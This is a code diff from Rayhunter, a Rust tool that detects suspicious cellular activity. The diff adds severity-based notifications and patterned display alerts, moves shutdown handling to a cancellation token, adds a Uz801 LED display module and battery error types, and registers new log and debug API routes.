format!("Rayhunter has detected a {:?} severity event", max_type),
|
||||
Some(Duration::from_secs(60 * 5)),
|
||||
))
|
||||
.await
|
||||
.expect("couldn't send ui update message: {}");
|
||||
.expect("Failed to send to notification channel");
|
||||
}
|
||||
|
||||
if max_type > self.max_type_seen {
|
||||
self.max_type_seen = max_type;
|
||||
if self.max_type_seen > EventType::Informational {
|
||||
self.ui_update_sender
|
||||
.send(display::DisplayState::WarningDetected {
|
||||
event_type: self.max_type_seen,
|
||||
})
|
||||
.await
|
||||
.expect("couldn't send ui update message: {}");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
debug!("no qmdl_writer set, continuing...");
|
||||
@@ -217,10 +242,11 @@ pub fn run_diag_read_thread(
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
analyzer_config: AnalyzerConfig,
|
||||
notification_channel: tokio::sync::mpsc::Sender<Notification>,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
let mut diag_stream = pin!(dev.as_stream().into_stream());
|
||||
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config);
|
||||
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel);
|
||||
qmdl_file_tx
|
||||
.send(DiagDeviceCtrlMessage::StartRecording)
|
||||
.await
|
||||
@@ -409,9 +435,17 @@ pub async fn get_analysis_report(
|
||||
.open_entry_analysis(entry_index)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?;
|
||||
let analysis_stream = ReaderStream::new(analysis_file);
|
||||
|
||||
// Read and normalize the NDJSON file
|
||||
let reader = BufReader::new(analysis_file);
|
||||
let lines_stream = LinesStream::new(reader.lines());
|
||||
|
||||
let mut normalizer = AnalysisLineNormalizer::new();
|
||||
let normalized_stream = lines_stream
|
||||
.try_filter(|line| future::ready(!line.is_empty()))
|
||||
.map_ok(move |line| normalizer.normalize_line(line));
|
||||
|
||||
let headers = [(CONTENT_TYPE, "application/x-ndjson")];
|
||||
let body = Body::from_stream(analysis_stream);
|
||||
let body = Body::from_stream(normalized_stream);
|
||||
Ok((headers, body).into_response())
|
||||
}
|
||||
|
||||
@@ -5,21 +5,29 @@ use std::time::Duration;
|
||||
|
||||
use crate::config;
|
||||
use crate::display::DisplayState;
|
||||
use rayhunter::analysis::analyzer::EventType;
|
||||
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio::sync::oneshot::error::TryRecvError;
|
||||
use tokio_util::task::TaskTracker;
|
||||
use tokio_util::{sync::CancellationToken, task::TaskTracker};
|
||||
|
||||
use include_dir::{Dir, include_dir};
|
||||
|
||||
const REFRESH_RATE: u64 = 1000; //how often in milliseconds to refresh the display
|
||||
|
||||
#[derive(Copy, Clone)]
|
||||
pub struct Dimensions {
|
||||
pub height: u32,
|
||||
pub width: u32,
|
||||
}
|
||||
|
||||
#[derive(Copy, Clone)]
|
||||
pub enum LinePattern {
|
||||
Solid,
|
||||
Dashed, // _ _ _ _
|
||||
Dotted, // . . . .
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[derive(Copy, Clone)]
|
||||
pub enum Color {
|
||||
@@ -31,6 +39,7 @@ pub enum Color {
|
||||
Cyan,
|
||||
Yellow,
|
||||
Pink,
|
||||
Orange,
|
||||
}
|
||||
|
||||
impl Color {
|
||||
@@ -44,23 +53,33 @@ impl Color {
|
||||
Color::Cyan => (0, 0xff, 0xff),
|
||||
Color::Yellow => (0xff, 0xff, 0),
|
||||
Color::Pink => (0xfe, 0x24, 0xff),
|
||||
Color::Orange => (0xff, 0xa5, 0),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Color {
|
||||
fn from_state(state: DisplayState, colorblind_mode: bool) -> Self {
|
||||
match state {
|
||||
DisplayState::Paused => Color::White,
|
||||
DisplayState::Recording => {
|
||||
fn display_style_from_state(state: DisplayState, colorblind_mode: bool) -> (Color, LinePattern) {
|
||||
match state {
|
||||
DisplayState::Paused => (Color::White, LinePattern::Solid),
|
||||
DisplayState::Recording => {
|
||||
if colorblind_mode {
|
||||
(Color::Blue, LinePattern::Solid)
|
||||
} else {
|
||||
(Color::Green, LinePattern::Solid)
|
||||
}
|
||||
}
|
||||
DisplayState::WarningDetected { event_type } => match event_type {
|
||||
EventType::Informational => {
|
||||
if colorblind_mode {
|
||||
Color::Blue
|
||||
(Color::Blue, LinePattern::Solid)
|
||||
} else {
|
||||
Color::Green
|
||||
(Color::Green, LinePattern::Solid)
|
||||
}
|
||||
}
|
||||
DisplayState::WarningDetected => Color::Red,
|
||||
}
|
||||
EventType::Low => (Color::Yellow, LinePattern::Dotted),
|
||||
EventType::Medium => (Color::Orange, LinePattern::Dashed),
|
||||
EventType::High => (Color::Red, LinePattern::Solid),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -120,11 +139,28 @@ pub trait GenericFramebuffer: Send + 'static {
|
||||
}
|
||||
|
||||
async fn draw_line(&mut self, color: Color, height: u32) {
|
||||
self.draw_patterned_line(color, height, LinePattern::Solid)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
|
||||
let width = self.dimensions().width;
|
||||
let px_num = height * width;
|
||||
let mut buffer = Vec::new();
|
||||
for _ in 0..px_num {
|
||||
buffer.push(color.rgb());
|
||||
|
||||
for _row in 0..height {
|
||||
for col in 0..width {
|
||||
let should_draw = match pattern {
|
||||
LinePattern::Solid => true,
|
||||
LinePattern::Dashed => (col / 4) % 2 == 0, // 4 pixels on, 4 pixels off
|
||||
LinePattern::Dotted => col % 4 == 0, // 1 pixel on, 3 pixels off
|
||||
};
|
||||
|
||||
if should_draw {
|
||||
buffer.push(color.rgb());
|
||||
} else {
|
||||
buffer.push((0, 0, 0)); // Black background
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
self.write_buffer(buffer).await
|
||||
@@ -135,7 +171,7 @@ pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
mut fb: impl GenericFramebuffer,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
static IMAGE_DIR: Dir<'_> = include_dir!("$CARGO_MANIFEST_DIR/images/");
|
||||
@@ -145,7 +181,7 @@ pub fn update_ui(
|
||||
}
|
||||
|
||||
let colorblind_mode = config.colorblind_mode;
|
||||
let mut display_color = Color::from_state(DisplayState::Recording, colorblind_mode);
|
||||
let mut display_style = display_style_from_state(DisplayState::Recording, colorblind_mode);
|
||||
|
||||
task_tracker.spawn(async move {
|
||||
// this feels wrong, is there a more rusty way to do this?
|
||||
@@ -166,17 +202,13 @@ pub fn update_ui(
|
||||
);
|
||||
}
|
||||
loop {
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(state) => {
|
||||
display_color = Color::from_state(state, colorblind_mode);
|
||||
display_style = display_style_from_state(state, colorblind_mode);
|
||||
}
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
|
||||
Err(e) => error!("error receiving framebuffer update message: {e}"),
|
||||
@@ -196,8 +228,9 @@ pub fn update_ui(
|
||||
// unknown value is used
|
||||
_ => {}
|
||||
};
|
||||
fb.draw_line(display_color, 2).await;
|
||||
tokio::time::sleep(Duration::from_millis(1000)).await;
|
||||
let (color, pattern) = display_style;
|
||||
fb.draw_patterned_line(color, 2, pattern).await;
|
||||
tokio::time::sleep(Duration::from_millis(REFRESH_RATE)).await;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use log::info;
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -9,7 +9,7 @@ use crate::display::DisplayState;
|
||||
pub fn update_ui(
|
||||
_task_tracker: &TaskTracker,
|
||||
_config: &config::Config,
|
||||
_ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
_shutdown_token: CancellationToken,
|
||||
_ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
info!("Headless mode, not spawning UI.");
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
use rayhunter::analysis::analyzer::EventType;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
mod generic_framebuffer;
|
||||
|
||||
pub mod headless;
|
||||
@@ -6,11 +9,18 @@ pub mod tmobile;
|
||||
pub mod tplink;
|
||||
pub mod tplink_framebuffer;
|
||||
pub mod tplink_onebit;
|
||||
pub mod uz801;
|
||||
pub mod wingtech;
|
||||
|
||||
#[derive(Clone, Copy, PartialEq)]
|
||||
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
|
||||
pub enum DisplayState {
|
||||
/// We're recording but no warning has been found yet.
|
||||
Recording,
|
||||
/// We're not recording.
|
||||
Paused,
|
||||
WarningDetected,
|
||||
/// A non-informational event has been detected.
|
||||
///
|
||||
/// Note that EventType::Informational is never sent through this. If it is, it's the same as
|
||||
/// Recording
|
||||
WarningDetected { event_type: EventType },
|
||||
}
|
||||
|
||||
@@ -4,7 +4,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
use async_trait::async_trait;
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -38,14 +38,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
ui_shutdown_rx,
|
||||
shutdown_token,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
/// Display module for Tmobile TMOHS1, blink LEDs on the front of the device.
|
||||
/// DisplayState::Recording => Signal LED slowly blinks blue.
|
||||
/// DisplayState::Paused => WiFi LED blinks white.
|
||||
/// DisplayState::WarningDetected => Signal LED slowly blinks red.
|
||||
/// DisplayState::WarningDetected { .. } => Signal LED slowly blinks red.
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
@@ -27,7 +27,7 @@ async fn stop_blinking(path: String) {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||
) {
|
||||
let mut invisible: bool = false;
|
||||
@@ -40,13 +40,9 @@ pub fn update_ui(
|
||||
let mut last_state = DisplayState::Paused;
|
||||
|
||||
loop {
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(oneshot::error::TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(new_state) => state = new_state,
|
||||
@@ -68,7 +64,7 @@ pub fn update_ui(
|
||||
stop_blinking(led!("signal_red")).await;
|
||||
start_blinking(led!("signal_blue")).await;
|
||||
}
|
||||
DisplayState::WarningDetected => {
|
||||
DisplayState::WarningDetected { .. } => {
|
||||
stop_blinking(led!("wlan_white")).await;
|
||||
stop_blinking(led!("signal_blue")).await;
|
||||
start_blinking(led!("signal_red")).await;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
use log::info;
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -11,7 +11,7 @@ use std::fs;
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
let display_level = config.ui_level;
|
||||
@@ -23,9 +23,9 @@ pub fn update_ui(
|
||||
// The alternative would be to make the entire initialization async
|
||||
if fs::exists(tplink_onebit::OLED_PATH).unwrap_or_default() {
|
||||
info!("detected one-bit display");
|
||||
tplink_onebit::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx)
|
||||
tplink_onebit::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
|
||||
} else {
|
||||
info!("fallback to framebuffer");
|
||||
tplink_framebuffer::update_ui(task_tracker, config, ui_shutdown_rx, ui_update_rx)
|
||||
tplink_framebuffer::update_ui(task_tracker, config, shutdown_token, ui_update_rx)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,13 +2,13 @@ use async_trait::async_trait;
|
||||
use std::os::fd::AsRawFd;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
use crate::config;
|
||||
use crate::display::DisplayState;
|
||||
use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -80,14 +80,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
ui_shutdown_rx,
|
||||
shutdown_token,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -6,8 +6,7 @@ use crate::display::DisplayState;
|
||||
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio::sync::oneshot::error::TryRecvError;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
@@ -112,7 +111,7 @@ const STATUS_WARNING: &[u8] = pixelart! {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
let display_level = config.ui_level;
|
||||
@@ -124,19 +123,15 @@ pub fn update_ui(
|
||||
let mut pixels = STATUS_SMILING;
|
||||
|
||||
loop {
|
||||
match ui_shutdown_rx.try_recv() {
|
||||
Ok(_) => {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
Err(TryRecvError::Empty) => {}
|
||||
Err(e) => panic!("error receiving shutdown message: {e}"),
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(DisplayState::Paused) => pixels = STATUS_PAUSED,
|
||||
Ok(DisplayState::Recording) => pixels = STATUS_SMILING,
|
||||
Ok(DisplayState::WarningDetected) => pixels = STATUS_WARNING,
|
||||
Ok(DisplayState::WarningDetected { .. }) => pixels = STATUS_WARNING,
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {}
|
||||
Err(e) => {
|
||||
error!("error receiving framebuffer update message: {e}");
|
||||
@@ -145,10 +140,10 @@ pub fn update_ui(
|
||||
|
||||
// we write the status every second because it may have been overwritten through menu
|
||||
// navigation.
|
||||
if display_level != 0 {
|
||||
if let Err(e) = tokio::fs::write(OLED_PATH, pixels).await {
|
||||
error!("failed to write to display: {e}");
|
||||
}
|
||||
if display_level != 0
|
||||
&& let Err(e) = tokio::fs::write(OLED_PATH, pixels).await
|
||||
{
|
||||
error!("failed to write to display: {e}");
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
/// Display module for Uz801, light LEDs on the front of the device.
|
||||
/// DisplayState::Recording => Green LED is solid.
|
||||
/// DisplayState::Paused => Signal LED is solid blue (wifi LED).
|
||||
/// DisplayState::WarningDetected => Signal LED is solid red.
|
||||
use log::{error, info};
|
||||
use tokio::sync::mpsc;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::config;
|
||||
use crate::display::DisplayState;
|
||||
|
||||
macro_rules! led {
|
||||
($l:expr) => {{ format!("/sys/class/leds/{}/brightness", $l) }};
|
||||
}
|
||||
|
||||
async fn led_on(path: String) {
|
||||
tokio::fs::write(&path, "1").await.ok();
|
||||
}
|
||||
|
||||
async fn led_off(path: String) {
|
||||
tokio::fs::write(&path, "0").await.ok();
|
||||
}
|
||||
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
shutdown_token: CancellationToken,
|
||||
mut ui_update_rx: mpsc::Receiver<DisplayState>,
|
||||
) {
|
||||
let mut invisible: bool = false;
|
||||
if config.ui_level == 0 {
|
||||
info!("Invisible mode, not spawning UI.");
|
||||
invisible = true;
|
||||
}
|
||||
task_tracker.spawn(async move {
|
||||
let mut state = DisplayState::Recording;
|
||||
let mut last_state = DisplayState::Paused;
|
||||
let mut last_update = std::time::Instant::now();
|
||||
|
||||
loop {
|
||||
if shutdown_token.is_cancelled() {
|
||||
info!("received UI shutdown");
|
||||
break;
|
||||
}
|
||||
match ui_update_rx.try_recv() {
|
||||
Ok(new_state) => state = new_state,
|
||||
Err(mpsc::error::TryRecvError::Empty) => {}
|
||||
Err(e) => error!("error receiving ui update message: {e}"),
|
||||
};
|
||||
|
||||
// Update LEDs if state changed or if 5 seconds have passed since last update
|
||||
let now = std::time::Instant::now();
|
||||
let should_update = !invisible
|
||||
&& (state != last_state
|
||||
|| now.duration_since(last_update) >= Duration::from_secs(5));
|
||||
|
||||
if should_update {
|
||||
match state {
|
||||
DisplayState::Paused => {
|
||||
led_off(led!("red")).await;
|
||||
led_off(led!("green")).await;
|
||||
led_on(led!("wifi")).await;
|
||||
}
|
||||
DisplayState::Recording => {
|
||||
led_off(led!("red")).await;
|
||||
led_off(led!("wifi")).await;
|
||||
led_on(led!("green")).await;
|
||||
}
|
||||
DisplayState::WarningDetected { .. } => {
|
||||
led_off(led!("green")).await;
|
||||
led_off(led!("wifi")).await;
|
||||
led_on(led!("red")).await;
|
||||
}
|
||||
}
|
||||
last_state = state;
|
||||
last_update = now;
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
}
|
||||
});
|
||||
}
|
||||
@@ -10,7 +10,7 @@ use crate::display::generic_framebuffer::{self, Dimensions, GenericFramebuffer};
|
||||
use async_trait::async_trait;
|
||||
|
||||
use tokio::sync::mpsc::Receiver;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
const FB_PATH: &str = "/dev/fb0";
|
||||
@@ -43,14 +43,14 @@ impl GenericFramebuffer for Framebuffer {
|
||||
pub fn update_ui(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
ui_update_rx: Receiver<DisplayState>,
|
||||
) {
|
||||
generic_framebuffer::update_ui(
|
||||
task_tracker,
|
||||
config,
|
||||
Framebuffer,
|
||||
ui_shutdown_rx,
|
||||
shutdown_token,
|
||||
ui_update_rx,
|
||||
)
|
||||
}
|
||||
|
||||
@@ -15,4 +15,10 @@ pub enum RayhunterError {
|
||||
QmdlStoreError(#[from] RecordingStoreError),
|
||||
#[error("No QMDL store found at path {0}, but can't create a new one due to debug mode")]
|
||||
NoStoreDebugMode(String),
|
||||
#[error("Error parsing file to determine battery level")]
|
||||
BatteryLevelParseError,
|
||||
#[error("Error parsing file to determine whether device is plugged in")]
|
||||
BatteryPluggedInStatusParseError,
|
||||
#[error("The requested functionality is not supported for this device")]
|
||||
FunctionNotSupportedForDeviceError,
|
||||
}
|
||||
|
||||
@@ -3,7 +3,7 @@ use std::time::{Duration, Instant};
|
||||
use tokio::fs::File;
|
||||
use tokio::io::AsyncReadExt;
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio::sync::oneshot;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
use crate::config;
|
||||
@@ -21,7 +21,7 @@ pub fn run_key_input_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
config: &config::Config,
|
||||
diag_tx: Sender<DiagDeviceCtrlMessage>,
|
||||
mut ui_shutdown_rx: oneshot::Receiver<()>,
|
||||
cancellation_token: CancellationToken,
|
||||
) {
|
||||
if config.key_input_mode == 0 {
|
||||
return;
|
||||
@@ -43,7 +43,7 @@ pub fn run_key_input_thread(
|
||||
|
||||
loop {
|
||||
tokio::select! {
|
||||
_ = &mut ui_shutdown_rx => {
|
||||
_ = cancellation_token.cancelled() => {
|
||||
info!("received key input shutdown");
|
||||
return;
|
||||
}
|
||||
@@ -61,11 +61,11 @@ pub fn run_key_input_thread(
|
||||
|
||||
// On orbic it was observed that pressing the power button can trigger many successive
|
||||
// events. Drop events that are too close together.
|
||||
if let Some(last_time) = last_event_time {
|
||||
if now.duration_since(last_time) < Duration::from_millis(50) {
|
||||
last_event_time = Some(now);
|
||||
continue;
|
||||
}
|
||||
if let Some(last_time) = last_event_time
|
||||
&& now.duration_since(last_time) < Duration::from_millis(50)
|
||||
{
|
||||
last_event_time = Some(now);
|
||||
continue;
|
||||
}
|
||||
last_event_time = Some(now);
|
||||
|
||||
|
||||
+53
-54
@@ -1,9 +1,11 @@
|
||||
mod analysis;
|
||||
mod battery;
|
||||
mod config;
|
||||
mod diag;
|
||||
mod display;
|
||||
mod error;
|
||||
mod key_input;
|
||||
mod notifications;
|
||||
mod pcap;
|
||||
mod qmdl_store;
|
||||
mod server;
|
||||
@@ -11,14 +13,17 @@ mod stats;
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use crate::battery::run_battery_notification_worker;
|
||||
use crate::config::{parse_args, parse_config};
|
||||
use crate::diag::run_diag_read_thread;
|
||||
use crate::error::RayhunterError;
|
||||
use crate::notifications::{NotificationService, run_notification_worker};
|
||||
use crate::pcap::get_pcap;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
use crate::server::{ServerState, get_config, get_qmdl, get_zip, serve_static, set_config};
|
||||
use crate::server::{
|
||||
ServerState, debug_set_display_state, get_config, get_qmdl, get_zip, serve_static, set_config,
|
||||
};
|
||||
use crate::stats::{get_qmdl_manifest, get_system_stats};
|
||||
|
||||
use analysis::{
|
||||
@@ -35,11 +40,13 @@ use log::{error, info};
|
||||
use qmdl_store::RecordingStoreError;
|
||||
use rayhunter::Device;
|
||||
use rayhunter::diag_device::DiagDevice;
|
||||
use stats::get_log;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::select;
|
||||
use tokio::sync::RwLock;
|
||||
use tokio::sync::mpsc::{self, Sender};
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio::task::JoinHandle;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
type AppRouter = Router<Arc<ServerState>>;
|
||||
@@ -51,6 +58,7 @@ fn get_router() -> AppRouter {
|
||||
.route("/api/zip/{name}", get(get_zip))
|
||||
.route("/api/system-stats", get(get_system_stats))
|
||||
.route("/api/qmdl-manifest", get(get_qmdl_manifest))
|
||||
.route("/api/log", get(get_log))
|
||||
.route("/api/start-recording", post(start_recording))
|
||||
.route("/api/stop-recording", post(stop_recording))
|
||||
.route("/api/delete-recording/{name}", post(delete_recording))
|
||||
@@ -60,6 +68,7 @@ fn get_router() -> AppRouter {
|
||||
.route("/api/analysis/{name}", post(start_analysis))
|
||||
.route("/api/config", get(get_config))
|
||||
.route("/api/config", post(set_config))
|
||||
.route("/api/debug/display-state", post(debug_set_display_state))
|
||||
.route("/", get(|| async { Redirect::permanent("/index.html") }))
|
||||
.route("/{*path}", get(serve_static))
|
||||
}
|
||||
@@ -70,7 +79,7 @@ fn get_router() -> AppRouter {
|
||||
async fn run_server(
|
||||
task_tracker: &TaskTracker,
|
||||
state: Arc<ServerState>,
|
||||
server_shutdown_rx: oneshot::Receiver<()>,
|
||||
shutdown_token: CancellationToken,
|
||||
) -> JoinHandle<()> {
|
||||
info!("spinning up server");
|
||||
let addr = SocketAddr::from(([0, 0, 0, 0], state.config.port));
|
||||
@@ -80,17 +89,12 @@ async fn run_server(
|
||||
task_tracker.spawn(async move {
|
||||
info!("The orca is hunting for stingrays...");
|
||||
axum::serve(listener, app)
|
||||
.with_graceful_shutdown(server_shutdown_signal(server_shutdown_rx))
|
||||
.with_graceful_shutdown(shutdown_token.cancelled_owned())
|
||||
.await
|
||||
.unwrap();
|
||||
})
|
||||
}
|
||||
|
||||
async fn server_shutdown_signal(server_shutdown_rx: oneshot::Receiver<()>) {
|
||||
server_shutdown_rx.await.unwrap();
|
||||
info!("Server received shutdown signal, exiting...");
|
||||
}
|
||||
|
||||
// Loads a RecordingStore if one exists, and if not, only create one if we're
|
||||
// not in debug mode. If we fail to parse the manifest AND we're not in debug
|
||||
// mode, try to recover the manifest from the existing QMDL files
|
||||
@@ -122,15 +126,10 @@ async fn init_qmdl_store(config: &config::Config) -> Result<RecordingStore, Rayh
|
||||
// Start a thread that'll track when user hits ctrl+c. When that happens,
|
||||
// trigger various cleanup tasks, including sending signals to other threads to
|
||||
// shutdown
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn run_shutdown_thread(
|
||||
task_tracker: &TaskTracker,
|
||||
diag_device_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
daemon_restart_rx: oneshot::Receiver<()>,
|
||||
should_restart_flag: Arc<AtomicBool>,
|
||||
server_shutdown_tx: oneshot::Sender<()>,
|
||||
maybe_ui_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
maybe_key_input_shutdown_tx: Option<oneshot::Sender<()>>,
|
||||
shutdown_token: CancellationToken,
|
||||
qmdl_store_lock: Arc<RwLock<RecordingStore>>,
|
||||
analysis_tx: Sender<AnalysisCtrlMessage>,
|
||||
) -> JoinHandle<Result<(), RayhunterError>> {
|
||||
@@ -142,17 +141,9 @@ fn run_shutdown_thread(
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {err}");
|
||||
}
|
||||
|
||||
should_restart_flag.store(false, Ordering::Relaxed);
|
||||
}
|
||||
res = daemon_restart_rx => {
|
||||
if let Err(err) = res {
|
||||
error!("Unable to listen for shutdown signal: {err}");
|
||||
}
|
||||
|
||||
should_restart_flag.store(true, Ordering::Relaxed);
|
||||
}
|
||||
};
|
||||
_ = shutdown_token.cancelled() => {}
|
||||
}
|
||||
|
||||
let mut qmdl_store = qmdl_store_lock.write().await;
|
||||
if qmdl_store.current_entry.is_some() {
|
||||
@@ -161,15 +152,7 @@ fn run_shutdown_thread(
|
||||
info!("Done!");
|
||||
}
|
||||
|
||||
server_shutdown_tx
|
||||
.send(())
|
||||
.expect("couldn't send server shutdown signal");
|
||||
if let Some(ui_shutdown_tx) = maybe_ui_shutdown_tx {
|
||||
let _ = ui_shutdown_tx.send(());
|
||||
}
|
||||
if let Some(key_input_shutdown_tx) = maybe_key_input_shutdown_tx {
|
||||
let _ = key_input_shutdown_tx.send(());
|
||||
}
|
||||
shutdown_token.cancel();
|
||||
diag_device_sender
|
||||
.send(DiagDeviceCtrlMessage::Exit)
|
||||
.await
|
||||
@@ -186,6 +169,13 @@ fn run_shutdown_thread(
|
||||
async fn main() -> Result<(), RayhunterError> {
|
||||
env_logger::init();
|
||||
|
||||
#[cfg(feature = "rustcrypto-tls")]
|
||||
{
|
||||
rustls_rustcrypto::provider()
|
||||
.install_default()
|
||||
.expect("Couldn't install rustcrypto provider");
|
||||
}
|
||||
|
||||
